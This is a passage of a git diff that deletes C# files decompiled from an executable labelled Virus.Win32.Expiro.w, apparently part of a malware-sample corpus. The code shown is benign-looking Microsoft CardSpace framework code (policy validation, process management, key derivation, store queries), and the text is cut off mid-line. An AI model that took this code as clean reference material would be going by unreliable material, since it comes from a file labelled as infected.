C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class PolicyValidator - { - private InfoCardPolicy m_policy; - - public PolicyValidator(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "PolicyValidator: policy cannot be null."); - this.m_policy = policy; - } - - public virtual void Validate() - { - this.ValidateClaims(); - this.ValidateNonWhiteListElements(); - this.ValidateRequestType(); - this.ValidateTokenType(); - this.ValidateKeySize(); - this.ValidatePrivacyVersion(); - this.ValidateKeyTypeSpecified(); - this.ValidateKeyType(); - this.ValidateKeyWrapAlgorithm(); - this.ValidateAppliesTo(); - this.ValidateRecipients(); - } - - protected void ValidateClaims() - { - string[] requiredClaims = this.m_policy.RequiredClaims; - if (requiredClaims == null || requiredClaims.Length == 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - foreach (string requiredClaim in this.m_policy.RequiredClaims) - { - if (!PolicyUtility.IsSelfIssuedClaim(requiredClaim)) - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceDoesNotSupportThisClaim"))); - } - } - - protected void ValidateNonWhiteListElements() - { - if (!this.m_policy.NonWhiteListElementsFound) - return; - StringBuilder stringBuilder = new StringBuilder(); - foreach (string whiteListElement in this.m_policy.NonWhiteListElements) - { - stringBuilder.Append(" "); - stringBuilder.Append(whiteListElement); - } - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceUnsupportedPolicyElementFound", (object) stringBuilder.ToString()))); - } - - protected void ValidateRequestType() - { - if (!string.IsNullOrEmpty(this.m_policy.RequestType) && this.m_policy.MergedPolicy.ProtocolVersionProfile.WSTrust.IssueRequestType != this.m_policy.RequestType) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException(SR.GetString("OnlyIssueRequestTypeSupported", (object) this.m_policy.RequestType, (object) this.m_policy.MergedPolicy.ProtocolVersionProfile.WSTrust.IssueRequestType))); - } - - protected void ValidateTokenType() - { - if (string.IsNullOrEmpty(this.m_policy.OptionalRstParams.TokenType) || PolicyUtility.IsSelfIssuedTokenType(this.m_policy.OptionalRstParams.TokenType)) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceDoesNotSupportThisTokenType"))); - } - - protected void ValidateKeySize() - { - if (SecurityKeyTypeInternal.AsymmetricKey == this.m_policy.KeyType && this.m_policy.KeySizeSpecified && 2048U != this.m_policy.KeySize) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceInvalidAsymmetricKeySize"))); - } - - protected void ValidatePrivacyVersion() - { - if (this.m_policy.PrivacyPolicyVersion == 0U && !string.IsNullOrEmpty(this.m_policy.PrivacyPolicyLink) || this.m_policy.PrivacyPolicyVersion != 0U && string.IsNullOrEmpty(this.m_policy.PrivacyPolicyLink)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidPrivacyNoticeVersion"))); - } - - protected void ValidateKeyTypeSpecified() - { - if (SecurityKeyTypeInternal.NoKey == this.m_policy.MergedPolicy.KeyType) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoProofKeyOnlyAllowedInBrowser", (object) XmlNames.WSIdentity.NoProofKeyTypeValue))); - } - - protected void ValidateKeyType() - { - if (this.m_policy.ImmediateTokenRecipient is X509RecipientIdentity || !this.m_policy.KeyTypeSpecified || this.m_policy.KeyType != SecurityKeyTypeInternal.SymmetricKey) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("InvalidKeyOption"))); - } - - protected void ValidateKeyWrapAlgorithm() - { - if (string.IsNullOrEmpty(this.m_policy.OptionalRstParams.KeyWrapAlgorithm) || !(this.m_policy.OptionalRstParams.KeyWrapAlgorithm != SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceInvalidArguments"))); - } - - protected void ValidateRecipients() - { - this.m_policy.Recipient.Validate(); - this.m_policy.ImmediateTokenRecipient.Validate(); - } - - protected void ValidateAppliesTo() - { - if ((EndpointAddress) null == this.m_policy.MergedPolicy.PolicyAppliesTo) - return; - if (Uri.Compare(this.m_policy.MergedPolicy.PolicyAppliesTo.Uri, this.m_policy.ImmediateTokenRecipient.Address.Uri, UriComponents.SchemeAndServer, UriFormat.UriEscaped, StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - string components1 = this.m_policy.MergedPolicy.PolicyAppliesTo.Uri.GetComponents(UriComponents.Path, UriFormat.UriEscaped); - string components2 = this.m_policy.ImmediateTokenRecipient.Address.Uri.GetComponents(UriComponents.Path, UriFormat.UriEscaped); - if (string.IsNullOrEmpty(components1)) - return; - if (string.IsNullOrEmpty(components2)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - string lowerInvariant = components1.ToLowerInvariant(); - if (!components2.ToLowerInvariant().StartsWith(lowerInvariant, StringComparison.OrdinalIgnoreCase)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - } - - private void ThrowIfSelfIssued(Exception e) - { - if (InfoCardPolicy.IsSelfIssuedUriPresent(this.m_policy.Issuer)) - throw InfoCardTrace.ThrowHelperError(e); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessExitedException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessExitedException.cs deleted file mode 100644 index 21d0f120..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessExitedException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessExitedException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ProcessExitedException : InfoCardBaseException - { - private const int HRESULT = -1073413876; - - public ProcessExitedException() - : base(-1073413876) - { - } - - public ProcessExitedException(string message) - : base(-1073413876, message) - { - } - - public ProcessExitedException(string message, Exception inner) - : base(-1073413876, message, inner) - { - } - - protected ProcessExitedException(SerializationInfo si, StreamingContext sc) - : base(-1073413876, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessManager.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessManager.cs deleted file mode 100644 index 4d324303..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessManager.cs +++ /dev/null @@ -1,158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessManager -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class ProcessManager : IDisposable - { - private const int WindowsVistaMajorVersion = 6; - private const string s_OnScreenKeyboardExeName = "osk"; - private const string s_SwitcherExeName = "msswchx"; - private const string s_TcserverExeName = "tcserver"; - private SafeJobHandle m_hJob; - private List m_processList; - private uint m_userSessionId; - private string m_trustedUserSid; - - public ProcessManager(int userSessionId, string trustedUserSid) - { - this.m_hJob = (SafeJobHandle) null; - this.m_userSessionId = (uint) userSessionId; - this.m_processList = new List(); - this.m_trustedUserSid = trustedUserSid; - } - - internal bool IsConsoleOrVista => (long) this.m_userSessionId == (long) NativeMethods.WTSGetActiveConsoleSessionId() || Environment.OSVersion.Version.Major >= 6; - - internal bool IsXPTablet => Environment.OSVersion.Version.Major < 6 && 0 != NativeMethods.GetSystemMetrics(86); - - public void AddProcess( - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - uint userProcessId, - WindowsIdentity userIdentity, - string fullPath, - string commandLine, - bool fUseElevatedToken) - { - IntPtr zero = IntPtr.Zero; - int pid = 0; - bool success1 = false; - bool success2 = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - if (this.IsConsoleOrVista && this.m_hJob == null) - { - this.m_hJob = Utility.CreateJobObjectWithSdHelper(trustedUserSid); - if (this.m_hJob == null) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - } - hTrustedUserToken.DangerousAddRef(ref success1); - IntPtr handle = hTrustedUserToken.DangerousGetHandle(); - IntPtr jobHandle = IntPtr.Zero; - if (this.IsConsoleOrVista) - { - this.m_hJob.DangerousAddRef(ref success2); - jobHandle = this.m_hJob.DangerousGetHandle(); - } - if (NativeMcppMethods.CreateProcessAsTrustedUserWrapper(fullPath, commandLine == null ? "" : commandLine, userProcessId, infocardDesktop, userIdentity.Name, this.m_userSessionId, ref handle, ref zero, ref pid, jobHandle, ref trustedUserSid, fUseElevatedToken) != 0U) - return; - using (SafeNativeHandle safeNativeHandle = new SafeNativeHandle(zero, true)) - { - if (!this.IsConsoleOrVista) - this.m_processList.Add(Process.GetProcessById(pid)); - safeNativeHandle.Dispose(); - } - } - finally - { - if (success1) - hTrustedUserToken.DangerousRelease(); - if (success2) - this.m_hJob.DangerousRelease(); - } - } - - public void Dispose() - { - using (new SystemIdentity(false)) - { - if (this.IsConsoleOrVista) - { - if (this.m_hJob != null) - { - this.m_hJob.Dispose(); - this.m_hJob = (SafeJobHandle) null; - } - } - else - { - bool flag = false; - for (int index = 0; index < this.m_processList.Count; ++index) - { - Process process = this.m_processList[index]; - if (!process.HasExited) - { - try - { - if ((long) this.m_userSessionId == (long) process.SessionId) - { - if (string.Compare(process.ProcessName, "osk", StringComparison.OrdinalIgnoreCase) == 0) - flag = true; - Utility.KillHelper(process); - } - } - catch (InvalidOperationException ex) - { - } - } - } - if (flag) - { - foreach (Process p in Process.GetProcessesByName("msswchx")) - { - if ((long) this.m_userSessionId == (long) p.SessionId) - { - if (!p.HasExited) - { - Utility.KillHelper(p); - break; - } - break; - } - p.Dispose(); - } - } - this.m_processList.Clear(); - } - } - if (!this.IsXPTablet) - return; - this.KillTcserverInstancesForInfoCardDesktop(); - } - - private void KillTcserverInstancesForInfoCardDesktop() - { - foreach (Process p in Process.GetProcessesByName("tcserver")) - { - if (NativeMcppMethods.IsCardSpaceTcserverInstance(p.Id, this.m_trustedUserSid)) - Utility.KillHelper(p); - p.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessMonitor.cs deleted file mode 100644 index e60f0489..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessMonitor.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class ProcessMonitor - { - private static ProcessMonitor s_current = new ProcessMonitor(); - private Dictionary m_cache; - private object m_sync; - - private ProcessMonitor() - { - this.m_sync = new object(); - this.m_cache = new Dictionary(); - } - - public static Process GetProcessById(int id) => ProcessMonitor.s_current.InnerGetProcessById(id); - - private Process InnerGetProcessById(int id) - { - Process process = (Process) null; - lock (this.m_sync) - { - if (!this.m_cache.TryGetValue(id, out process)) - { - process = Process.GetProcessById(id); - if (!process.HasExited) - { - this.InitializeProcessObject(process); - this.m_cache.Add(process.Id, process); - } - } - } - return process; - } - - private void InitializeProcessObject(Process process) - { - process.EnableRaisingEvents = true; - process.Exited += new EventHandler(this.Process_Exited); - } - - private void Process_Exited(object sender, EventArgs e) - { - Process process = (Process) sender; - lock (this.m_sync) - this.m_cache.Remove(process.Id); - process.Exited -= new EventHandler(this.Process_Exited); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProtocolProfile.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProtocolProfile.cs deleted file mode 100644 index 33a22192..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProtocolProfile.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProtocolProfile -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Security; - -namespace Microsoft.InfoCards -{ - internal class ProtocolProfile - { - private XmlNames.IWSTrust m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance; - private XmlNames.IWSPolicy m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyXmlSoap2004.Instance; - private static WSSecurityTokenSerializer s_tokenSerializerDefault = new WSSecurityTokenSerializer(MessageSecurityVersion.Default.SecurityVersion, true); - private static WSSecurityTokenSerializer s_tokenSerializerWSTrust13 = new WSSecurityTokenSerializer(SecurityVersion.WSSecurity11, TrustVersion.WSTrust13, SecureConversationVersion.WSSecureConversation13, false, (SamlSerializer) null, (SecurityStateEncoder) null, (IEnumerable) null); - - public XmlNames.IWSTrust WSTrust - { - get => this.m_iWSTrust; - set => this.m_iWSTrust = value; - } - - public XmlNames.IWSPolicy WSPolicy => this.m_iWSPolicy; - - public MessageSecurityVersion MsgSecurityVersion - { - get - { - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.WSTrust.Version) - return MessageSecurityVersion.WSSecurity11WSTrustFebruary2005WSSecureConversationFebruary2005WSSecurityPolicy11; - return XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.WSTrust.Version ? MessageSecurityVersion.WSSecurity11WSTrust13WSSecureConversation13WSSecurityPolicy12 : MessageSecurityVersion.Default; - } - } - - public WSSecurityTokenSerializer TokenSerializer => XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.WSTrust.Version ? ProtocolProfile.s_tokenSerializerWSTrust13 : ProtocolProfile.s_tokenSerializerDefault; - - public ProtocolProfile() - { - } - - public ProtocolProfile(string policyXml) - { - if (policyXml.Contains(XmlNames.WSTrustXmlSoap2005.Instance.Namespace)) - this.m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance; - else if (policyXml.Contains(XmlNames.WSTrustOasis2007.Instance.Namespace)) - this.m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - if (policyXml.Contains(XmlNames.WSPolicyXmlSoap2004.Instance.Namespace)) - { - this.m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyXmlSoap2004.Instance; - } - else - { - if (!policyXml.Contains(XmlNames.WSPolicyW32007.Instance.Namespace)) - return; - this.m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyW32007.Instance; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs deleted file mode 100644 index 63db38fd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Psha1DerivedKeyGenerator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class Psha1DerivedKeyGenerator - { - private byte[] key; - - public Psha1DerivedKeyGenerator(byte[] key) => this.key = key != null ? key : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (key)); - - public byte[] GenerateDerivedKey(byte[] label, byte[] nonce, int derivedKeySize, int position) - { - if (label == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (label)); - if (nonce == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (nonce)); - return new Psha1DerivedKeyGenerator.ManagedPsha1(this.key, label, nonce).GetDerivedKey(derivedKeySize, position); - } - - private sealed class ManagedPsha1 - { - private byte[] aValue; - private byte[] buffer; - private byte[] chunk; - private KeyedHashAlgorithm hmac; - private int index; - private int position; - private byte[] secret; - private byte[] seed; - - public ManagedPsha1(byte[] secret, byte[] label, byte[] seed) - { - this.secret = secret; - this.seed = new byte[checked (label.Length + seed.Length)]; - label.CopyTo((Array) this.seed, 0); - seed.CopyTo((Array) this.seed, label.Length); - this.aValue = this.seed; - this.chunk = new byte[0]; - this.index = 0; - this.position = 0; - this.hmac = (KeyedHashAlgorithm) new HMACSHA1(secret, true); - this.buffer = new byte[checked (unchecked (this.hmac.HashSize / 8) + this.seed.Length)]; - } - - public byte[] GetDerivedKey(int derivedKeySize, int position) - { - if (derivedKeySize < 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (derivedKeySize), SR.GetString("ValueMustBeNonNegative"))); - if (this.position > position) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (position), SR.GetString("ValueMustBeInRange", (object) 0, (object) this.position))); - while (this.position < position) - { - int num = (int) this.GetByte(); - } - int length = derivedKeySize / 8; - byte[] derivedKey = new byte[length]; - for (int index = 0; index < length; ++index) - derivedKey[index] = this.GetByte(); - return derivedKey; - } - - private byte GetByte() - { - if (this.index >= this.chunk.Length) - { - this.hmac.Initialize(); - this.aValue = this.hmac.ComputeHash(this.aValue); - this.aValue.CopyTo((Array) this.buffer, 0); - this.seed.CopyTo((Array) this.buffer, this.aValue.Length); - this.hmac.Initialize(); - this.chunk = this.hmac.ComputeHash(this.buffer); - this.index = 0; - } - ++this.position; - return this.chunk[this.index++]; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryDetails.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryDetails.cs deleted file mode 100644 index 3d40e9bf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryDetails.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryDetails -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; - -namespace Microsoft.InfoCards -{ - [Flags] - internal enum QueryDetails - { - None = 0, - Identifiers = 1, - Header = 2, - DataBlob = 4, - IndexData = 8, - FullHeader = Header | Identifiers, // 0x00000003 - FullRow = FullHeader | DataBlob, // 0x00000007 - FullRowAndIndexes = FullRow | IndexData, // 0x0000000F - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryParameter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryParameter.cs deleted file mode 100644 index b1c41ffe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryParameter.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryParameter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class QueryParameter - { - private string m_indexName; - private List m_objects; - - public QueryParameter(string name) - { - this.m_indexName = !string.IsNullOrEmpty(name) ? name : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (name)); - this.m_objects = new List(); - } - - public QueryParameter(string name, params object[] values) - : this(name) - { - for (int index = 0; index < values.Length; ++index) - this.AddMatch(values[index]); - } - - public string IndexName - { - get => this.m_indexName; - internal set => this.m_indexName = value; - } - - internal IndexObject this[int index] => this.m_objects[index]; - - public int Count => this.m_objects.Count; - - public void Clear() => this.m_objects.Clear(); - - public void AddCompiled(byte[] compiledForm) => this.m_objects.Add(new IndexObject(compiledForm)); - - public void AddMatch(params object[] values) - { - if (values == null || values.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (values)); - this.m_objects.Add(new IndexObject(values)); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryStoreStatusRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryStoreStatusRequest.cs deleted file mode 100644 index 66b9fda6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryStoreStatusRequest.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryStoreStatusRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class QueryStoreStatusRequest : UIAgentRequest - { - private bool m_storeStatus; - - public QueryStoreStatusRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.OnInitializeAsSystem(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_storeStatus = connection.IsDataSourceCleared(connection.LocalDataSource); - if (!this.m_storeStatus) - return; - connection.ResetDataSourceClearedFlag(connection.LocalDataSource); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs).Write(this.m_storeStatus); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RPIdentityRequirement.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RPIdentityRequirement.cs deleted file mode 100644 index 53f724de..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RPIdentityRequirement.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RPIdentityRequirement -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RPIdentityRequirement - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - private bool m_RPIdentityRequirement; - - private RPIdentityRequirement() - { - } - - public RPIdentityRequirement(Uri infoCardId, bool RPIdentityRequirement) - : this() - { - this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - this.m_RPIdentityRequirement = RPIdentityRequirement; - } - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) 